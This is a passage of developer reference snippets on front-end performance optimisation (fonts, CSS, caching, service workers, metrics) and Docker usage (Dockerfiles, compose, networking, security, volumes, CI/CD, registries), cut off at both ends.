worker.postMessage({ data: largeDataset });

worker.onmessage = (e) => {
  console.log('Result:', e.data);
};

// worker.js
self.onmessage = (e) => {
  const result = processData(e.data);
  self.postMessage(result);
};

function processData(data) {
  // Heavy computation here
  return data.map(item => complexCalculation(item));
}

// Run non-critical tasks when browser is idle
requestIdleCallback((deadline) => {
  while (deadline.timeRemaining() > 0 && tasks.length > 0) {
    const task = tasks.shift();
    task();
  }
}, { timeout: 2000 });

<head>
  <!-- Inline critical CSS -->
  <style>
    /* Above-fold styles */
    .header { background: #fff; height: 60px; }
    .hero { min-height: 400px; }
  </style>

  <!-- Load full stylesheet async -->
  <link rel="preload" href="styles.css" as="style" onload="this.onload=null;this.rel='stylesheet'">
  <noscript><link rel="stylesheet" href="styles.css"></noscript>
</head>

/* Avoid expensive properties */
/* Bad - triggers layout */
.box {
  width: 100px;
  height: 100px;
}

/* Good - uses transform (composite only) */
.box {
  transform: scale(1);
  will-change: transform;
}

/* Optimize selectors - avoid deep nesting */
/* Bad */
.container .sidebar .menu ul li a { }

/* Good */
.menu-link { }

/* Use CSS containment */
.article {
  contain: layout style paint;
}

/* GPU acceleration */
.animated {
  transform: translateZ(0);
  will-change: transform;
}

# PurgeCSS
npm install --save-dev @fullhuman/postcss-purgecss

# Configure in postcss.config.js
module.exports = {
  plugins: [
    require('@fullhuman/postcss-purgecss')({
      content: [
        './src/**/*.html',
        './src/**/*.js',
        './src/**/*.jsx',
        './src/**/*.vue',
      ],
      safelist: ['active', 'disabled'], // Don't remove these
      defaultExtractor: content => content.match(/[\w-/:]+(?<!:)/g) || []
    })
  ]
};

# UnCSS
npm install -g uncss

uncss https://example.com > cleaned.css

# Reduces CSS by 90%+
Before: 150 KB
After:   15 KB

// Tailwind CSS built-in purging
// tailwind.config.js
module.exports = {
  content: [
    './src/**/*.{html,js,jsx,ts,tsx}',
  ],
  // Automatically removes unused utility classes
};

// ❌ Runtime CSS-in-JS (slower)
// styled-components, Emotion (without compilation)
import styled from 'styled-components';

const Button = styled.button`
  background: ${props => props.primary ? 'blue' : 'gray'};
  padding: 10px 20px;
`;
// Generates styles at runtime (impacts performance)

// ✅ Zero-runtime CSS-in-JS (faster)
// Linaria, vanilla-extract, Compiled
import { styled } from '@linaria/react';

const Button = styled.button`
  background: blue;
  padding: 10px 20px;
`;
// Styles extracted at build time (no runtime cost)

// ✅ Use static styles when possible
const Button = styled.button`
  padding: 10px 20px; /* Static */
`;

// ✅ Memoize dynamic styles
const DynamicButton = memo(styled.button`
  background: ${({ color }) => color};
`);

// ❌ Avoid creating styled components in render
function Component() {
  // Bad - new component every render
  const Button = styled.button`...`;
  return <Button />;
}

// ✅ Define outside component
const Button = styled.button`...`;
function Component() {
  return <Button />;
}

/* font-display property */
@font-face {
  font-family: 'MyFont';
  src: url('/fonts/myfont.woff2') format('woff2');
  font-display: swap; /* Show fallback immediately */
}

/* Options:
   auto: Browser default
   block: Hide text up to 3s (FOIT - Flash of Invisible Text)
   swap: Show fallback immediately (FOUT - Flash of Unstyled Text)
   fallback: 100ms block, then swap
   optional: 100ms block, may not download font
*/

<!-- Preload fonts used above-fold -->
<link
  rel="preload"
  href="/fonts/myfont.woff2"
  as="font"
  type="font/woff2"
  crossorigin="anonymous"
>

<!-- ❌ External font (extra DNS lookup, connection) -->
<link href="https://fonts.googleapis.com/css2?family=Roboto" rel="stylesheet">

<!-- ✅ Self-hosted fonts (faster) -->
<link rel="stylesheet" href="/fonts/fonts.css">

/* fonts.css */
@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 400;
  font-display: swap;
  src: url('/fonts/roboto-v30-latin-regular.woff2') format('woff2');
  /* Only load Latin subset */
  unicode-range: U+0000-00FF, U+0131, U+0152-0153;
}

# pyftsubset (fonttools)
pip install fonttools brotli

# Create subset with only needed characters
pyftsubset font.ttf \
  --output-file=font-subset.woff2 \
  --flavor=woff2 \
  --layout-features=* \
  --unicodes=U+0020-007F

# Result:
Original: 150 KB
Subset:    30 KB (80% reduction)

/* Traditional: 3 separate files */
@font-face {
  font-family: 'Roboto';
  font-weight: 400;
  src: url('roboto-regular.woff2'); /* 50 KB */
}
@font-face {
  font-family: 'Roboto';
  font-weight: 700;
  src: url('roboto-bold.woff2'); /* 50 KB */
}
@font-face {
  font-family: 'Roboto';
  font-weight: 900;
  src: url('roboto-black.woff2'); /* 50 KB */
}
/* Total: 150 KB */

/* Variable font: 1 file with all weights */
@font-face {
  font-family: 'Roboto';
  font-weight: 100 900; /* Full weight range */
  src: url('roboto-variable.woff2'); /* 80 KB */
}
/* Total: 80 KB (47% reduction) */

body {
  font-family:
    -apple-system,        /* macOS, iOS */
    BlinkMacSystemFont,   /* macOS Chrome */
    "Segoe UI",           /* Windows */
    Roboto,               /* Android */
    "Helvetica Neue",     /* macOS legacy */
    Arial,                /* Fallback */
    sans-serif;           /* Generic */
}

<!-- ❌ Bad - blocks rendering -->
<link href="https://fonts.googleapis.com/css2?family=Roboto" rel="stylesheet">

<!-- ✅ Better - preconnect -->
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Roboto&display=swap" rel="stylesheet">

<!-- ✅ Best - async load -->
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link
  rel="stylesheet"
  href="https://fonts.googleapis.com/css2?family=Roboto&display=swap"
  media="print"
  onload="this.media='all'"
>

Cache-Control Headers:
┌─────────────────────────────────┐
│ no-cache: Validate before use   │
│ no-store: Never cache           │
│ public: Cache in shared caches  │
│ private: Browser cache only     │
│ max-age: Cache duration (sec)   │
│ immutable: Never revalidate     │
└─────────────────────────────────┘

# Nginx cache configuration
location ~* \.(jpg|jpeg|png|gif|ico|css|js)$ {
  expires 1y;
  add_header Cache-Control "public, immutable";
}

location ~* \.(html)$ {
  expires 0;
  add_header Cache-Control "no-cache, must-revalidate";
}

// Express.js caching
app.use('/static', express.static('public', {
  maxAge: '1y',
  immutable: true
}));

// Set cache headers manually
app.get('/api/data', (req, res) => {
  res.set('Cache-Control', 'public, max-age=300'); // 5 minutes
  res.json(data);
});

User Request → CDN Edge Server (nearest location)
               ↓
         Cache Hit? → Return cached content
               ↓ No
         Origin Server → Cache & return content

// Cloudflare cache configuration
// cloudflare-worker.js
addEventListener('fetch', event => {
  event.respondWith(handleRequest(event.request));
});

async function handleRequest(request) {
  const cache = caches.default;
  let response = await cache.match(request);

  if (!response) {
    response = await fetch(request);
    // Cache for 1 hour
    const headers = new Headers(response.headers);
    headers.set('Cache-Control', 's-maxage=3600');

    response = new Response(response.body, {
      status: response.status,
      headers: headers
    });

    event.waitUntil(cache.put(request, response.clone()));
  }

  return response;
}

# Versioned URLs (best practice)
<link rel="stylesheet" href="/styles.abc123.css">

# Query string versioning
<link rel="stylesheet" href="/styles.css?v=1.2.3">

# Cloudflare purge
curl -X POST "https://api.cloudflare.com/client/v4/zones/{zone_id}/purge_cache" \
  -H "Authorization: Bearer {api_token}" \
  -d '{"files":["https://example.com/styles.css"]}'

// Service worker caching
self.addEventListener('install', (event) => {
  event.waitUntil(
    caches.open('v1').then((cache) => {
      return cache.addAll([
        '/',
        '/styles.css',
        '/app.js',
        '/logo.png'
      ]);
    })
  );
});

self.addEventListener('fetch', (event) => {
  event.respondWith(
    caches.match(event.request).then((response) => {
      return response || fetch(event.request);
    })
  );
});

// LocalStorage (5-10MB, synchronous)
localStorage.setItem('theme', 'dark');
const theme = localStorage.getItem('theme');

// SessionStorage (per-tab, cleared on close)
sessionStorage.setItem('tempData', JSON.stringify(data));

// IndexedDB (large datasets, asynchronous)
const request = indexedDB.open('myDB', 1);

request.onsuccess = (event) => {
  const db = event.target.result;
  const transaction = db.transaction(['store'], 'readwrite');
  const store = transaction.objectStore('store');
  store.add({ id: 1, data: 'value' });
};

// Cache API (for offline-first)
caches.open('api-cache').then((cache) => {
  cache.put('/api/data', new Response(JSON.stringify(data)));
});

HTTP/1.1:
Request 1 → Response 1
Request 2 → Response 2
Request 3 → Response 3

HTTP/2 (Multiplexing):
Request 1 ↘
Request 2 → Single Connection → Response 1, 2, 3
Request 3 ↗

HTTP/3 (QUIC):
- Faster connection setup
- Better packet loss recovery
- Built-in encryption

<!-- DNS Prefetch -->
<link rel="dns-prefetch" href="//cdn.example.com">

<!-- Preconnect (DNS + TCP + TLS) -->
<link rel="preconnect" href="https://fonts.googleapis.com">

<!-- Prefetch (low priority) -->
<link rel="prefetch" href="/next-page.js">

<!-- Preload (high priority) -->
<link rel="preload" href="/critical.css" as="style">

<!-- Prerender (full page) -->
<link rel="prerender" href="/next-page.html">

// Batch requests
// Bad
await fetch('/api/user/1');
await fetch('/api/user/2');
await fetch('/api/user/3');

// Good
await fetch('/api/users?ids=1,2,3');

// GraphQL - request only needed fields
const query = `
  query {
    user(id: 1) {
      name
      email
      # Only request what you need
    }
  }
`;

// Compression
fetch('/api/data', {
  headers: {
    'Accept-Encoding': 'gzip, deflate, br'
  }
});

// Pagination/Infinite scroll
const fetchPage = async (page, limit = 20) => {
  const response = await fetch(`/api/posts?page=${page}&limit=${limit}`);
  return response.json();
};

Request → Server renders HTML → Send to browser → Hydrate

Build time → Generate HTML → Deploy static files

Load JS → Render in browser → Fetch data → Update UI

Static pages + Background regeneration at intervals

// Next.js example
export async function getStaticProps() {
  const data = await fetchData();

  return {
    props: { data },
    revalidate: 60 // Regenerate every 60 seconds
  };
}

// Navigation timing
const perfData = performance.getEntriesByType('navigation')[0];
console.log('DNS:', perfData.domainLookupEnd - perfData.domainLookupStart);
console.log('TCP:', perfData.connectEnd - perfData.connectStart);
console.log('TTFB:', perfData.responseStart - perfData.requestStart);
console.log('Load:', perfData.loadEventEnd - perfData.loadEventStart);

// Resource timing
performance.getEntriesByType('resource').forEach(resource => {
  console.log(resource.name, resource.duration);
});

// Custom marks and measures
performance.mark('start-render');
// ... rendering logic
performance.mark('end-render');
performance.measure('render-time', 'start-render', 'end-render');

const measure = performance.getEntriesByName('render-time')[0];
console.log('Render time:', measure.duration);

// Send metrics to analytics
const sendMetrics = () => {
  const perfData = performance.getEntriesByType('navigation')[0];

  fetch('/analytics', {
    method: 'POST',
    body: JSON.stringify({
      ttfb: perfData.responseStart - perfData.requestStart,
      domLoad: perfData.domContentLoadedEventEnd - perfData.fetchStart,
      windowLoad: perfData.loadEventEnd - perfData.fetchStart,
      url: window.location.href
    }),
    keepalive: true // Ensures request completes even if page unloads
  });
};

window.addEventListener('load', sendMetrics);

// Memoization
import { memo, useMemo, useCallback } from 'react';

// Prevent re-renders
const ExpensiveComponent = memo(({ data }) => {
  return <div>{data}</div>;
});

// Memoize calculated values
const sortedData = useMemo(() => {
  return data.sort((a, b) => a.value - b.value);
}, [data]);

// Memoize callbacks
const handleClick = useCallback(() => {
  console.log('Clicked');
}, []);

// Virtualization for long lists
import { FixedSizeList } from 'react-window';

<FixedSizeList
  height={400}
  itemCount={1000}
  itemSize={35}
  width="100%"
>
  {({ index, style }) => (
    <div style={style}>Item {index}</div>
  )}
</FixedSizeList>

// Keep-alive for component caching
<keep-alive>
  <component :is="currentView"></component>
</keep-alive>

// Lazy load components
const Dashboard = () => import('./Dashboard.vue');

// Computed properties (cached)
computed: {
  filteredList() {
    return this.items.filter(item => item.active);
  }
}

// v-once for static content
<div v-once>{{ staticContent }}</div>

// webpack.config.js
module.exports = {
  performance: {
    maxAssetSize: 244000, // 244 KB
    maxEntrypointSize: 244000,
    hints: 'error'
  }
};

# Lighthouse CI
npm install -g @lhci/cli
lhci autorun --collect.url=https://example.com

# Webpack Bundle Analyzer
npm install --save-dev webpack-bundle-analyzer

Performance Score (0-100)
├─ FCP (10%)
├─ SI (10%)
├─ LCP (25%)
├─ TTI (10%)
├─ TBT (30%)
└─ CLS (15%)

# Build image
docker build -t myapp:1.0 .

# Run container from image
docker run myapp:1.0

# Base image
FROM python:3.9-slim

# Set working directory
WORKDIR /app

# Copy files
COPY requirements.txt .

# Install dependencies
RUN pip install -r requirements.txt

# Copy application
COPY . .

# Expose port
EXPOSE 5000

# Run command
CMD ["python", "app.py"]

# Stage 1: Build
FROM node:18 AS builder
WORKDIR /app
COPY package*.json ./
RUN npm ci
COPY . .
RUN npm run build

# Stage 2: Production
FROM node:18-alpine
WORKDIR /app
COPY --from=builder /app/dist ./dist
COPY --from=builder /app/node_modules ./node_modules
COPY package*.json ./
USER node
EXPOSE 3000
CMD ["node", "dist/index.js"]

# Build stage
FROM golang:1.21-alpine AS builder
WORKDIR /build
COPY go.mod go.sum ./
RUN go mod download
COPY . .
RUN CGO_ENABLED=0 GOOS=linux go build -a -installsuffix cgo -o app .

# Final stage
FROM alpine:latest
RUN apk --no-cache add ca-certificates
WORKDIR /root/
COPY --from=builder /build/app .
EXPOSE 8080
CMD ["./app"]

FROM node:${NODE_VERSION:-18}-alpine AS base
ARG BUILD_ENV=production

FROM base AS builder
WORKDIR /app
COPY . .
RUN npm ci --only=${BUILD_ENV}
RUN npm run build

FROM base AS production
COPY --from=builder /app/dist ./dist
CMD ["node", "dist/server.js"]

# Build with custom arguments
docker build --build-arg NODE_VERSION=20 --build-arg BUILD_ENV=development -t myapp:dev .

# Build
docker build -t myapp:1.0 .

# Run
docker run -p 8000:5000 myapp:1.0
docker run -d -p 8000:5000 myapp:1.0  # Detached

# View containers
docker ps          # Running
docker ps -a       # All

# View images
docker images

# Logs
docker logs container_id

# Stop container
docker stop container_id

# Remove
docker rm container_id
docker rmi image_name

# Execute command in running container
docker exec -it container_id /bin/bash
docker exec container_id ls /app

# Copy files to/from container
docker cp ./file.txt container_id:/app/
docker cp container_id:/app/logs.txt ./

# Inspect container details
docker inspect container_id
docker inspect --format='{{.NetworkSettings.IPAddress}}' container_id

# View container resource usage
docker stats
docker stats container_id

# Create image from container
docker commit container_id myimage:tag

# Save/load images
docker save myimage:tag > image.tar
docker load < image.tar

# Export/import containers
docker export container_id > container.tar
docker import container.tar myimage:tag

# Prune unused resources
docker system prune       # Remove unused data
docker system prune -a    # Remove all unused images
docker volume prune       # Remove unused volumes
docker network prune      # Remove unused networks

version: '3.8'

services:
  web:
    build: .
    ports:
      - "8000:5000"
    environment:
      DATABASE_URL: postgres://db:5432/mydb
    depends_on:
      - db

  db:
    image: postgres:13
    environment:
      POSTGRES_PASSWORD: secret
    volumes:
      - postgres_data:/var/lib/postgresql/data

volumes:
  postgres_data:

docker-compose up         # Start all services
docker-compose up -d      # Start in detached mode
docker-compose down       # Stop all services
docker-compose logs -f    # Follow logs
docker-compose ps         # List containers
docker-compose exec web bash  # Execute command in service
docker-compose build      # Build or rebuild services
docker-compose restart    # Restart services
docker-compose scale web=3    # Scale service (deprecated, use --scale)
docker-compose up --scale web=3  # Scale service

# docker-compose.yml
services:
  web:
    build: .
    env_file:
      - .env
      - .env.production
    environment:
      - NODE_ENV=production
      - API_KEY=${API_KEY}  # From .env file

services:
  web:
    image: nginx
    profiles: ["frontend"]

  api:
    image: node:18
    # Always starts (no profile)

  debug:
    image: busybox
    profiles: ["debug"]

# Start only services without profiles
docker-compose up

# Start with specific profile
docker-compose --profile frontend up
docker-compose --profile debug up

# docker-compose.override.yml (auto-loaded in development)
services:
  web:
    volumes:
      - ./src:/app/src  # Hot reload in dev
    environment:
      - DEBUG=true

# docker-compose.prod.yml
services:
  web:
    restart: always
    deploy:
      replicas: 3
      resources:
        limits:
          cpus: '0.5'
          memory: 512M

# Use specific override
docker-compose -f docker-compose.yml -f docker-compose.prod.yml up

services:
  db:
    image: postgres:15
    healthcheck:
      test: ["CMD-SHELL", "pg_isready -U postgres"]
      interval: 10s
      timeout: 5s
      retries: 5

  web:
    build: .
    depends_on:
      db:
        condition: service_healthy  # Wait for healthy status

services:
  frontend:
    networks:
      - frontend-net

  backend:
    networks:
      - frontend-net
      - backend-net

  database:
    networks:
      - backend-net  # Isolated from frontend

networks:
  frontend-net:
    driver: bridge
  backend-net:
    driver: bridge
    internal: true  # No external access

# Create custom bridge network
docker network create my-network

# Run containers on same network
docker run -d --name db --network my-network postgres
docker run -d --name app --network my-network myapp

# Containers can communicate via container names
# app can connect to: postgres://db:5432

# No port mapping needed, uses host ports directly
docker run --network host nginx
# nginx now accessible on host's port 80

docker run --network none myapp
# Completely isolated, no network access

docker network create --driver overlay my-overlay
# Enables container communication across multiple Docker hosts

# List networks
docker network ls

# Inspect network
docker network inspect my-network

# Connect running container to network
docker network connect my-network container_id

# Disconnect from network
docker network disconnect my-network container_id

# Remove network
docker network rm my-network

# Start containers
docker network create app-net
docker run -d --name redis --network app-net redis
docker run -d --name web --network app-net myapp

# Inside 'web' container:
# ping redis  # Works!
# curl http://redis:6379  # Works!

docker run -d --network my-net --network-alias db1 --network-alias database postgres
# Accessible as 'db1' or 'database' from other containers

# Publish to specific host port
docker run -p 8080:80 nginx

# Publish to random host port
docker run -p 80 nginx

# Publish all exposed ports to random ports
docker run -P nginx

# Publish to specific interface
docker run -p 127.0.0.1:8080:80 nginx

# UDP ports
docker run -p 53:53/udp dns-server

# Limit memory
docker run -m 512m nginx  # Max 512MB RAM
docker run --memory=1g --memory-reservation=750m myapp

# Limit CPU
docker run --cpus=1.5 myapp  # Max 1.5 CPU cores
docker run --cpu-shares=512 myapp  # Relative weight (default 1024)

# Combine limits
docker run -m 1g --cpus=2 --name myapp myimage

services:
  web:
    image: nginx
    deploy:
      resources:
        limits:
          cpus: '0.50'
          memory: 512M
        reservations:
          cpus: '0.25'
          memory: 256M

# Limit container disk usage
docker run --storage-opt size=10G myapp

# Set read/write limits (bytes per second)
docker run --device-read-bps /dev/sda:1mb myapp
docker run --device-write-bps /dev/sda:1mb myapp

# Limit number of processes
docker run --pids-limit 100 myapp

# Limit file descriptors
docker run --ulimit nofile=1024:2048 myapp

# Multiple ulimits
docker run \
  --ulimit nofile=1024:2048 \
  --ulimit nproc=512:1024 \
  myapp

# No restart (default)
docker run --restart=no myapp

# Always restart
docker run --restart=always myapp

# Restart on failure only
docker run --restart=on-failure:5 myapp  # Max 5 retries

# Restart unless explicitly stopped
docker run --restart=unless-stopped myapp

services:
  web:
    image: nginx
    restart: unless-stopped

  worker:
    image: myworker
    restart: on-failure

FROM nginx
HEALTHCHECK --interval=30s --timeout=3s --start-period=5s --retries=3 \
  CMD curl -f http://localhost/ || exit 1

docker run \
  --health-cmd="curl -f http://localhost/ || exit 1" \
  --health-interval=30s \
  --health-timeout=3s \
  --health-retries=3 \
  nginx

services:
  web:
    image: nginx
    healthcheck:
      test: ["CMD", "curl", "-f", "http://localhost"]
      interval: 30s
      timeout: 3s
      retries: 3
      start_period: 40s

docker ps  # Shows (healthy), (unhealthy), (health: starting)
docker inspect --format='{{.State.Health.Status}}' container_id

FROM node:18-alpine

# Create app user
RUN addgroup -g 1001 -S nodejs && \
    adduser -S nodejs -u 1001

WORKDIR /app
COPY --chown=nodejs:nodejs . .

# Switch to non-root user
USER nodejs

EXPOSE 3000
CMD ["node", "server.js"]

docker run --user 1001:1001 myapp
docker run --user nobody myapp

# Create secret
echo "my-secret-password" | docker secret create db_password -

# Use in service
docker service create \
  --secret db_password \
  --name myapp \
  myimage

# Inside container, secret available at:
# /run/secrets/db_password

version: '3.8'

services:
  db:
    image: postgres
    secrets:
      - db_password
    environment:
      POSTGRES_PASSWORD_FILE: /run/secrets/db_password

secrets:
  db_password:
    file: ./secrets/db_password.txt

# syntax=docker/dockerfile:1
FROM alpine

# Mount secret during build only (not in final image)
RUN --mount=type=secret,id=github_token \
    TOKEN=$(cat /run/secrets/github_token) && \
    git clone https://$TOKEN@github.com/private/repo.git

docker build --secret id=github_token,src=./token.txt -t myapp .

docker run --read-only --tmpfs /tmp myapp

services:
  web:
    image: nginx
    read_only: true
    tmpfs:
      - /tmp
      - /var/run

# Drop all capabilities, add only needed ones
docker run \
  --cap-drop=ALL \
  --cap-add=NET_BIND_SERVICE \
  nginx

# Disable privilege escalation
docker run --security-opt=no-new-privileges:true myapp

# AppArmor profile
docker run --security-opt apparmor=docker-default myapp

# Seccomp profile
docker run --security-opt seccomp=profile.json myapp

# Scan image for vulnerabilities (requires Docker Scout)
docker scout cve myimage:latest

# Using Trivy (third-party)
docker run aquasec/trivy image myimage:latest

# Scan during build in CI/CD
docker build -t myapp .
docker scout cve myapp

# Anti-pattern: Cache invalidated on any code change
FROM node:18
WORKDIR /app
COPY . .                    # ❌ Copies everything first
RUN npm install             # ❌ Reinstalls on any file change

# Best practice: Maximize cache reuse
FROM node:18
WORKDIR /app
COPY package*.json ./       # ✓ Only dependencies
RUN npm ci                  # ✓ Cached unless package.json changes
COPY . .                    # ✓ Code copied last
RUN npm run build           # ✓ Only rebuilds if code changed

# Large: 1.1GB
FROM ubuntu:22.04

# Medium: 350MB
FROM node:18

# Small: 180MB
FROM node:18-slim

# Smallest: 120MB
FROM node:18-alpine

# Install and cleanup in single layer
FROM alpine:3.18
RUN apk add --no-cache --virtual .build-deps \
        gcc \
        musl-dev \
        postgresql-dev \
    && pip install --no-cache-dir psycopg2 \
    && apk del .build-deps  # Remove build tools

# Bad: Creates 3 layers
RUN apt-get update
RUN apt-get install -y curl
RUN rm -rf /var/lib/apt/lists/*

# Good: Single layer
RUN apt-get update && \
    apt-get install -y curl && \
    rm -rf /var/lib/apt/lists/*

# .dockerignore
node_modules
npm-debug.log
.git
.env
*.md
.vscode
dist
coverage
.pytest_cache
__pycache__

export DOCKER_BUILDKIT=1
docker build .

# syntax=docker/dockerfile:1
FROM node:18

WORKDIR /app
COPY package*.json ./

# Mount npm cache, faster rebuilds
RUN --mount=type=cache,target=/root/.npm \
    npm ci

COPY . .
RUN npm run build

# syntax=docker/dockerfile:1
FROM alpine AS fetch-deps
RUN apk add --no-cache curl
RUN curl -O https://example.com/file1.tar.gz

FROM alpine AS build
COPY --from=fetch-deps /file1.tar.gz .
RUN tar -xzf file1.tar.gz && make

FROM alpine
COPY --from=build /app .

# View image layers and sizes
docker history myimage:latest

# Show layer details
docker history --no-trunc myimage:latest

# Use dive for interactive analysis
docker run --rm -it \
    -v /var/run/docker.sock:/var/run/docker.sock \
    wagoodman/dive:latest myimage:latest

# Interactive shell
docker exec -it container_id /bin/sh
docker exec -it container_id /bin/bash

# Run specific command
docker exec container_id ps aux
docker exec container_id cat /var/log/app.log

# Override entrypoint to investigate
docker run -it --entrypoint /bin/sh myimage

# Check why container exited
docker logs container_id
docker inspect container_id --format='{{.State.ExitCode}}'

# Copy logs out
docker cp container_id:/var/log/app.log ./app.log

# Copy config file in
docker cp ./new-config.yml container_id:/etc/config.yml

# No cache, show all output
docker build --no-cache --progress=plain .

# Stop at specific stage for debugging
docker build --target builder -t debug-image .
docker run -it debug-image /bin/sh

# See what's being sent to Docker daemon
docker build --no-cache . 2>&1 | grep "Sending build context"

# Check logs
docker logs container_id

# Common causes:
# 1. Main process exits (use tail -f, or proper daemon)
# 2. Command not found
# 3. Permission issues

# Debug:
docker run -it myimage /bin/sh  # Override CMD

# Check if port is published
docker port container_id

# Check if service is listening
docker exec container_id netstat -tlnp

# Check network
docker inspect container_id --format='{{.NetworkSettings.IPAddress}}'

# Check Docker disk usage
docker system df

# Detailed view
docker system df -v

# Clean up
docker system prune -a  # Remove all unused
docker volume prune     # Remove unused volumes
docker image prune -a   # Remove unused images

# Test DNS in container
docker exec container_id nslookup google.com
docker exec container_id cat /etc/resolv.conf

# Set custom DNS
docker run --dns 8.8.8.8 --dns 8.8.4.4 myimage

# Follow logs
docker logs -f container_id

# Last 100 lines
docker logs --tail 100 container_id

# Since specific time
docker logs --since 2024-01-01T00:00:00 container_id

# Multiple containers
docker-compose logs -f web db

# Real-time stats
docker stats

# Single container
docker stats container_id

# No streaming (snapshot)
docker stats --no-stream

# Custom format
docker stats --format "table {{.Name}}\t{{.CPUPerc}}\t{{.MemUsage}}"

# Watch Docker events
docker events

# Filter events
docker events --filter type=container
docker events --filter event=start

# Check resource usage
docker stats container_id

# Check if CPU/memory limited
docker inspect container_id --format='{{.HostConfig.Memory}}'
docker inspect container_id --format='{{.HostConfig.CpuShares}}'

# Check I/O
docker exec container_id iostat

# Enable BuildKit for better performance
export DOCKER_BUILDKIT=1

# Use build cache from registry
docker build --cache-from myregistry/myapp:latest .

# Parallel builds
docker build --parallel .

# Good: Optimized production image
FROM python:3.9-slim

# Non-root user
RUN useradd -m -u 1000 appuser

WORKDIR /app

# Dependencies first (caching)
COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt

# Application code
COPY --chown=appuser:appuser . .

# Switch to non-root
USER appuser

# Health check
HEALTHCHECK --interval=30s --timeout=3s \
    CMD python -c "import requests; requests.get('http://localhost:8000/health')"

EXPOSE 8000
CMD ["gunicorn", "-b", "0.0.0.0:8000", "app:app"]

# Create named volume
docker volume create my-data

# Use volume
docker run -v my-data:/app/data myapp

# Inspect volume
docker volume inspect my-data

# List volumes
docker volume ls

# Remove volume
docker volume rm my-data

# Mount host directory (absolute path required)
docker run -v /host/path:/container/path myapp

# Read-only mount
docker run -v /host/path:/container/path:ro myapp

# Use with relative path (requires pwd)
docker run -v "$(pwd)":/app myapp

# Temporary in-memory storage
docker run --tmpfs /tmp myapp

# With size limit
docker run --tmpfs /tmp:rw,size=100m myapp

# Create with driver options
docker volume create --driver local \
    --opt type=nfs \
    --opt o=addr=192.168.1.1,rw \
    --opt device=:/path/to/dir \
    my-nfs-volume

# Copy data between volumes
docker run --rm \
    -v old-volume:/from \
    -v new-volume:/to \
    alpine sh -c "cp -av /from/* /to/"

# Backup volume
docker run --rm \
    -v my-volume:/data \
    -v $(pwd):/backup \
    alpine tar czf /backup/backup.tar.gz -C /data .

# Restore volume
docker run --rm \
    -v my-volume:/data \
    -v $(pwd):/backup \
    alpine sh -c "rm -rf /data/* && tar xzf /backup/backup.tar.gz -C /data"

version: '3.8'

services:
  db:
    image: postgres:15
    volumes:
      # Named volume
      - postgres-data:/var/lib/postgresql/data
      # Bind mount
      - ./init.sql:/docker-entrypoint-initdb.d/init.sql:ro
      # Anonymous volume
      - /var/lib/postgresql

  app:
    build: .
    volumes:
      # Development: hot reload
      - ./src:/app/src
      # Don't overwrite node_modules
      - /app/node_modules

volumes:
  postgres-data:
    driver: local
    driver_opts:
      type: none
      o: bind
      device: /data/postgres

#!/bin/bash
VOLUME_NAME="postgres-data"
BACKUP_DIR="/backups"
DATE=$(date +%Y%m%d_%H%M%S)

docker run --rm \
    -v $VOLUME_NAME:/source:ro \
    -v $BACKUP_DIR:/backup \
    alpine tar czf /backup/${VOLUME_NAME}_${DATE}.tar.gz -C /source .

# Keep only last 7 backups
find $BACKUP_DIR -name "${VOLUME_NAME}_*.tar.gz" -mtime +7 -delete

# PostgreSQL dump
docker exec postgres_container pg_dump -U user dbname > backup.sql

# MySQL dump
docker exec mysql_container mysqldump -u user -p dbname > backup.sql

# MongoDB dump
docker exec mongo_container mongodump --out /backup

name: Docker Build and Push

on:
  push:
    branches: [main]
  pull_request:
    branches: [main]

jobs:
  build:
    runs-on: ubuntu-latest

    steps:
      - uses: actions/checkout@v3

      - name: Set up Docker Buildx
        uses: docker/setup-buildx-action@v2

      - name: Login to Docker Hub
        uses: docker/login-action@v2
        with:
          username: ${{ secrets.DOCKER_USERNAME }}
          password: ${{ secrets.DOCKER_PASSWORD }}

      - name: Build and push
        uses: docker/build-push-action@v4
        with:
          context: .
          push: true
          tags: |
            myorg/myapp:latest
            myorg/myapp:${{ github.sha }}
          cache-from: type=registry,ref=myorg/myapp:latest
          cache-to: type=inline

# .gitlab-ci.yml
stages:
  - build
  - test
  - deploy

variables:
  DOCKER_DRIVER: overlay2
  DOCKER_TLS_CERTDIR: "/certs"

build:
  stage: build
  image: docker:latest
  services:
    - docker:dind
  before_script:
    - docker login -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $CI_REGISTRY
  script:
    - docker build -t $CI_REGISTRY_IMAGE:$CI_COMMIT_SHA .
    - docker tag $CI_REGISTRY_IMAGE:$CI_COMMIT_SHA $CI_REGISTRY_IMAGE:latest
    - docker push $CI_REGISTRY_IMAGE:$CI_COMMIT_SHA
    - docker push $CI_REGISTRY_IMAGE:latest

pipeline {
    agent any

    environment {
        DOCKER_IMAGE = "myorg/myapp"
        DOCKER_TAG = "${env.BUILD_NUMBER}"
    }

    stages {
        stage('Build') {
            steps {
                script {
                    docker.build("${DOCKER_IMAGE}:${DOCKER_TAG}")
                }
            }
        }

        stage('Test') {
            steps {
                script {
                    docker.image("${DOCKER_IMAGE}:${DOCKER_TAG}").inside {
                        sh 'npm test'
                    }
                }
            }
        }

        stage('Push') {
            steps {
                script {
                    docker.withRegistry('https://registry.hub.docker.com', 'docker-credentials') {
                        docker.image("${DOCKER_IMAGE}:${DOCKER_TAG}").push()
                        docker.image("${DOCKER_IMAGE}:${DOCKER_TAG}").push('latest')
                    }
                }
            }
        }
    }
}

# Login
docker login

# Tag image
docker tag myapp:latest myusername/myapp:1.0

# Push to Docker Hub
docker push myusername/myapp:1.0

# Pull from Docker Hub
docker pull myusername/myapp:1.0

# Run private registry
docker run -d -p 5000:5000 --name registry registry:2

# Tag for private registry
docker tag myapp localhost:5000/myapp:1.0

# Push to private registry
docker push localhost:5000/myapp:1.0

# Pull from private registry
docker pull localhost:5000/myapp:1.0

# Login to ECR
aws ecr get-login-password --region us-east-1 | \
    docker login --username AWS --password-stdin \
    123456789.dkr.ecr.us-east-1.amazonaws.com

# Tag and push
docker tag myapp:latest 123456789.dkr.ecr.us-east-1.amazonaws.com/myapp:latest
docker push 123456789.dkr.ecr.us-east-1.amazonaws.com/myapp:latest

# Configure Docker for GCR
gcloud auth configure-docker

# Tag and push
